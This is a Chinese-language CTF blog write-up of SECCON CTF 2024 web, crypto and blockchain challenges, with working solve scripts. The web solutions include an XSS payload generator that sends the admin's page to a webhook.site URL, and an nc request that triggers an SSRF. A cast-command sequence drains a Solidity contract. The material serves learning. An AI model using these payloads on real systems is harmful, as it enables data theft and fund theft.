---
title: SECCON CTF 2024 紀錄
date: 2024-12-01 13:51:00
tags:
- CTF
- SECCON
- Web Security
- Cryptography
- web3
- blockchain
- SSRF
- nodejs
- Franklin–Reiter Attack
---
## Before all
這場那時候忘記在模考還是段考,反正沒打到QwQ
回來補一下題,學到好多新東西,挖庫挖庫!!!
## Web
### Trillion Bank
這題的服務主要是一個簡單的銀行,初始只給你10塊,你要把它變成`1_000_000_000_000`元
考點是MySQL一個特性,TEXT資料最大值為65535,[Reference(link)](https://www.atlassian.com/data/databases/understanding-strorage-sizes-for-mysql-text-data-types)
**Source Code**
```js
import fastify from "fastify";
import crypto from "node:crypto";
import fs from "node:fs/promises";
import db from "./db.js";
const FLAG = process.env.FLAG ?? console.log("No flag") ?? process.exit(1);
const TRILLION = 1_000_000_000_000;
const app = fastify();
app.register(await import("@fastify/jwt"), {
secret: crypto.randomBytes(32),
cookie: { cookieName: "session" },
});
app.register(await import("@fastify/cookie"));
const names = new Set();
const auth = async (req, res) => {
try {
await req.jwtVerify();
} catch {
return res.status(401).send({ msg: "Unauthorized" });
}
};
app.post("/api/register", async (req, res) => {
const name = String(req.body.name);
if (!/^[a-z0-9]+$/.test(name)) {
res.status(400).send({ msg: "Invalid name" });
return;
}
if (names.has(name)) {
res.status(400).send({ msg: "Already exists" });
return;
}
names.add(name);
const [result] = await db.query("INSERT INTO users SET ?", {
name,
balance: 10,
});
res
.setCookie("session", await res.jwtSign({ id: result.insertId }))
.send({ msg: "Succeeded" });
});
app.get("/api/me", { onRequest: auth }, async (req, res) => {
try {
const [{ 0: { balance } }] = await db.query("SELECT * FROM users WHERE id = ?", [req.user.id]);
req.user.balance = balance;
} catch (err) {
return res.status(500).send({ msg: err.message });
}
if (req.user.balance >= TRILLION) {
req.user.flag = FLAG; // 💰
}
res.send(req.user);
});
app.post("/api/transfer", { onRequest: auth }, async (req, res) => {
const recipientName = String(req.body.recipientName);
if (!names.has(recipientName)) {
res.status(404).send({ msg: "Not found" });
return;
}
const [{ 0: { id } }] = await db.query("SELECT * FROM users WHERE name = ?", [recipientName]);
if (id === req.user.id) {
res.status(400).send({ msg: "Self-transfer is not allowed" });
return;
}
const amount = parseInt(req.body.amount);
if (!isFinite(amount) || amount <= 0) {
res.status(400).send({ msg: "Invalid amount" });
return;
}
const conn = await db.getConnection();
try {
await conn.beginTransaction();
const [{ 0: { balance } }] = await conn.query("SELECT * FROM users WHERE id = ? FOR UPDATE", [
req.user.id,
]);
if (amount > balance) {
throw new Error("Invalid amount");
}
await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
amount,
req.user.id,
]);
await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
amount,
recipientName,
]);
await conn.commit();
} catch (err) {
await conn.rollback();
return res.status(500).send({ msg: err.message });
} finally {
db.releaseConnection(conn);
}
res.send({ msg: "Succeeded" });
});
app.get("/", async (req, res) => {
const html = await fs.readFile("index.html");
res.type("text/html; charset=utf-8").send(html);
});
app.listen({ port: 3000, host: "0.0.0.0" });
```
判斷名字在不在是在服務寫個Set:
```js
const names = new Set();
```
根據MySQL TEXT大小限制,如果註冊兩個user `a*65535+b` 及 `a*65535+c`,將導致MySQL塞進去的名字一樣是`a*65535`,又bypass js限制
利用這兩行不一致:
```js
await conn.query("UPDATE users SET balance = balance - ? WHERE id = ?", [
amount,
req.user.id,
]);
await conn.query("UPDATE users SET balance = balance + ? WHERE name = ?", [
amount,
recipientName,
]);
```
利用前面的特性註冊大約40的users,每次都分錢給`a*65535`,就會發生大家的錢集體翻倍這件事,超酷w
**Exploit**
```py
import requests as req
base_url='http://trillion.seccon.games:3000'
creds=[]
def login(name):
web = req.post(base_url+'/api/register', json={"name":name})
cookie = web.headers.get('set-cookie')
# print(web.text)
print(f"[*] Got Cookie: {cookie.split(';')[0].split('=')}")
return {cookie.split(';')[0].split('=')[0]:cookie.split(';')[0].split('=')[1]}
def transfer(cookie, amount):
web=req.get(base_url+'/api/me', cookies=cookie)
print(f"[*] Status: {web.text}")
web=req.post(base_url+'/api/transfer', json={"recipientName":'q'*65535,"amount":str(amount)}, cookies=cookie)
print(f"[*] Response: {web.text}")
def win():
web=req.get(base_url+'/api/me', cookies=creds[-1])
print(f"[*] FLAG: {web.text}")
for i in range(40):
creds.append(login('q'*(65535+i)))
for i in range(39, 0, -1):
transfer(creds[i], 10*2**(39-i))
win()
```

> Flag: SECCON{The_Greedi3st_Hackers_in_th3_W0r1d:1,000,000,000,000}
### Tanuki Udon
一個markdown網頁,admin會在自己介面建立一個flag的文章
**markdown.js**
```js
const escapeHtml = (content) => {
return content
.replaceAll('&', '&')
.replaceAll(`"`, '"')
.replaceAll(`'`, ''')
.replaceAll('<', '<')
.replaceAll('>', '>');
}
const markdown = (content) => {
const escaped = escapeHtml(content);
return escaped
.replace(/!\[([^"]*?)\]\(([^"]*?)\)/g, `<img alt="$1" src="$2"></img>`)
.replace(/\[(.*?)\]\(([^"]*?)\)/g, `<a href="$2">$1</a>`)
.replace(/\*\*(.*?)\*\*/g, `<strong>$1</strong>`)
.replace(/ $/mg, `<br>`);
}
module.exports = markdown;
```
想要直接注入感覺是不可能了,但注意到它依序replace的行為:
構造`](test_url)`得到的會長這樣:
```html
<img alt="<a href="test_url">whale" src="meow"></img></a>
```
調用兩次replace就可以嵌入雙引號,test_url的地方幾乎是任意注入
受限於前面escapeHTML,我使用src, onerror的方法串payload,js的程式無法注入括號(會出問題,一樣跟replace行為有關),`location=`,然後拿反引號取代引號...
PoC一下:
```markdown
]( src=x onerror=location=`javascript:alert\x281\x29` )
```
要有空格,不然js會把後面的東西一併吃進去
**Generator**
```py
payload="javascript:fetch('/').then(r=>r.text()).then(r=>fetch('https://webhook.site/f4ea2c93-700e-4ec6-b459-a54cbe543b7d', {method: 'POST', body:r}))"
payload=payload.replace('(', '\\x28').replace(')', '\\x29').replace("'",'\\x27').replace('>','\\x3e')
print(payload)
```
生payload的腳本,有些字元要用`\x27`之類的hex換掉

拿到後開心跳flag

> Flag: SECCON{Firefox Link = Kitsune Udon <-> Chrome Speculation-Rules = Tanuki Udon}
P.S.聽說是unintended,之後再來想spec rule的跳法
### self-ssrf
開個free SSRF,但有限制一些內容,`app.use`開了個全局規則
**Source Code**
```js
import express from "express";
const PORT = 3000;
const LOCALHOST = new URL(`http://localhost:${PORT}`);
const FLAG = Bun.env.FLAG!!;
const app = express();
app.use("/", (req, res, next) => {
if (req.query.flag === undefined) {
const path = "/flag?flag=guess_the_flag";
res.send(`Go to <a href="${path}">${path}</a>`);
} else next();
});
app.get("/flag", (req, res) => {
res.send(
req.query.flag === FLAG // Guess the flag
? `Congratz! The flag is '${FLAG}'.`
: `<marquee>🚩🚩🚩</marquee>`
);
});
app.get("/ssrf", async (req, res) => {
try {
const url = new URL(req.url, LOCALHOST);
if (url.hostname !== LOCALHOST.hostname) {
res.send("Try harder 1");
return;
}
if (url.protocol !== LOCALHOST.protocol) {
res.send("Try harder 2");
return;
}
url.pathname = "/flag";
url.searchParams.append("flag", FLAG);
res.send(await fetch(url).then((r) => r.text()));
} catch {
res.status(500).send(":(");
}
});
app.listen(PORT);
```
攻擊手法是利用預設的URL不吃`MEOW[a]=1&MEOW[b]=2`的query寫法,但express代的req.query是用querystring(qs)庫,他會吃的不一致性使得express認為有flag參數(才能過`/`的全局規則),但url會去新增一個真正的flag參數。
**References:**
1. [https://github.com/nodejs/node/blob/main/doc/api/url.md#new-urlsearchparamsobj](https://github.com/nodejs/node/blob/main/doc/api/url.md#new-urlsearchparamsobj)
2. [https://github.com/nodejs/node/blob/main/doc/api/querystring.md#querystringstringifyobj-sep-eq-options](https://github.com/nodejs/node/blob/main/doc/api/querystring.md#querystringstringifyobj-sep-eq-options)
想想看,如果用`?flag[=]=`,在URL parse的時候會吃到`'flag['`是`']='`,可是qs庫會認定是`flag[=]`值為空,最後接上&flag=<真的flag>就可以真的拿到flagㄌ

像這樣,searchParams傳出去會把他url encode
最後就直接以nc建連線,GET下去SSRF
**Payload**
```bash
printf 'GET http://localhost:3000/ssrf?flag[=]= HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc self-ssrf.seccon.games 3000
```

> FLAG: SECCON{Which_whit3space_did_you_u5e?}
## Crypto
有點累所以只看一個數學題,其他Crypto之後會看💤
### reiwa_rot13
**Source Code**
```py
from Crypto.Util.number import *
import codecs
import string
import random
import hashlib
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from flag import flag
p = getStrongPrime(512)
q = getStrongPrime(512)
n = p*q
e = 137
key = ''.join(random.sample(string.ascii_lowercase, 10))
rot13_key = codecs.encode(key, 'rot13')
key = key.encode()
rot13_key = rot13_key.encode()
print("n =", n)
print("e =", e)
print("c1 =", pow(bytes_to_long(key), e, n))
print("c2 =", pow(bytes_to_long(rot13_key), e, n))
key = hashlib.sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
print("encyprted_flag = ", cipher.encrypt(flag))
```
注意到rot13的轉換可以當作某種線性變換,就變成已知明文加密及線性後的明文加密
先分別位元枚舉,就可以進行[Franklin–Reiter Attack(link)](https://wha13.github.io/2024/02/25/coppersmith/#Franklin%E2%80%93Reiter-Attack)ㄌ~
**Exploit**
```py
from Crypto.Util.number import *
from Crypto.Cipher import AES
import hashlib
n = 105270965659728963158005445847489568338624133794432049687688451306125971661031124713900002127418051522303660944175125387034394970179832138699578691141567745433869339567075081508781037210053642143165403433797282755555668756795483577896703080883972479419729546081868838801222887486792028810888791562604036658927
e = 137
c1 = 16725879353360743225730316963034204726319861040005120594887234855326369831320755783193769090051590949825166249781272646922803585636193915974651774390260491016720214140633640783231543045598365485211028668510203305809438787364463227009966174262553328694926283315238194084123468757122106412580182773221207234679
c2 = 54707765286024193032187360617061494734604811486186903189763791054142827180860557148652470696909890077875431762633703093692649645204708548602818564932535214931099060428833400560189627416590019522535730804324469881327808667775412214400027813470331712844449900828912439270590227229668374597433444897899112329233
encyprted_flag = b"\xdb'\x0bL\x0f\xca\x16\xf5\x17>\xad\xfc\xe2\x10$(DVsDS~\xd3v\xe2\x86T\xb1{xL\xe53s\x90\x14\xfd\xe7\xdb\xddf\x1fx\xa3\xfc3\xcb\xb5~\x01\x9c\x91w\xa6\x03\x80&\xdb\x19xu\xedh\xe4"
def attack(c1, c2, a, b, e, n):
P = PolynomialRing(Zmod(n), names=('x',)); (x,) = P._first_ngens(1)
g1 = x^e - c1
g2 = (a*x+b)^e - c2
g2 = g2.monic()
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
return -gcd(g1, g2)[0]
def decrypt(key):
key = hashlib.sha256(key).digest()
cipher = AES.new(key, AES.MODE_ECB)
print(cipher.decrypt(encyprted_flag))
for i in range(2**10):
cur=0
for b in bin(i)[2:].rjust(10, '0'):
cur*=256
if b=='0':
cur+=13
else:
cur-=13
res=attack(c1, c2, 1, cur, e, n)
if len(long_to_bytes(int(res)))==10:
key=long_to_bytes(int(res))
decrypt(key)
```
> Flag: SECCON{Vim_has_a_command_to_do_rot13._g?_is_possible_to_do_so!!}
## blockchain
### Trillion Ether
任務是把合約所有錢領走
**TrillionEther.sol**
```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.28;
contract TrillionEther {
struct Wallet {
bytes32 name;
uint256 balance;
address owner;
}
Wallet[] public wallets;
constructor() payable {
require(msg.value == 1_000_000_000_000 ether);
}
function isSolved() external view returns (bool) {
return address(this).balance == 0;
}
function createWallet(bytes32 name) external payable {
wallets.push(_newWallet(name, msg.value, msg.sender));
}
function transfer(uint256 fromWalletId, uint256 toWalletId, uint256 amount) external {
require(wallets[fromWalletId].owner == msg.sender, "not owner");
wallets[fromWalletId].balance -= amount;
wallets[toWalletId].balance += amount;
}
function withdraw(uint256 walletId, uint256 amount) external {
require(wallets[walletId].owner == msg.sender, "not owner");
wallets[walletId].balance -= amount;
payable(wallets[walletId].owner).transfer(amount);
}
function _newWallet(bytes32 name, uint256 balance, address owner) internal returns (Wallet storage wallet) {
wallet = wallet;
wallet.name = name;
wallet.balance = balance;
wallet.owner = owner;
}
}
```
看得出來是一個Wallet的服務,有個wallets的動態陣列,主要的漏洞出在這一行(\_newWallet):
```
wallet = wallet;
```
這邊wallet尚未被定義,所以會變成一個空指針被冠上Wallet的struct,所以第一個name會寫到slot[0],這也是紀錄wallets當前大小的地方
試一下會發現如果送出一個正常的name,再去看wallet[0]的值會發現沒東西,因為寫入時寫到wallet[name]的地方
```bash
cast call $target "wallets(uint256)(bytes32,uint256,address)" 0 --rpc-url $rpc_url
```
所以一開始name要送0x0出去,才能把內容正常化(owner屬性存在)
接下來就是interger overflow,送出`0x5555555555555555555555555555555555555555555555555555555555555555`做為第二次的name,這時候在slot上會嘗試往wallet_base+0x5...5\*3 % (2^256)的地方寫入(因為slot大小極限&這個struct算一下就會發現三個變數各佔一個slot)
而選擇0x5...5\是因為乘以3以後正好就是-1 % (2^256),這時候就會從 wallet_base - 1開始寫,導致owner的值寫到剛剛wallet[0]的balance上,balance寫到它的name上,最終只需withdraw所有錢回來就好w
**Exploit**
~~這邊懶惰直接用foundry tool的cast殺下去~~
```bash
cast send $target "createWallet(bytes32)" 0x0000000000000000000000000000000000000000000000000000000000000000 --private-key $secret --rpc-url $rpc_url
cast send $target "createWallet(bytes32)" 0x5555555555555555555555555555555555555555555555555555555555555555 --private-key $secret --rpc-url $rpc_url
cast send $target "withdraw(uint256, uint256)" 0 1000000000000000000000000000000 --private-key $secret --rpc-url $rpc_url
```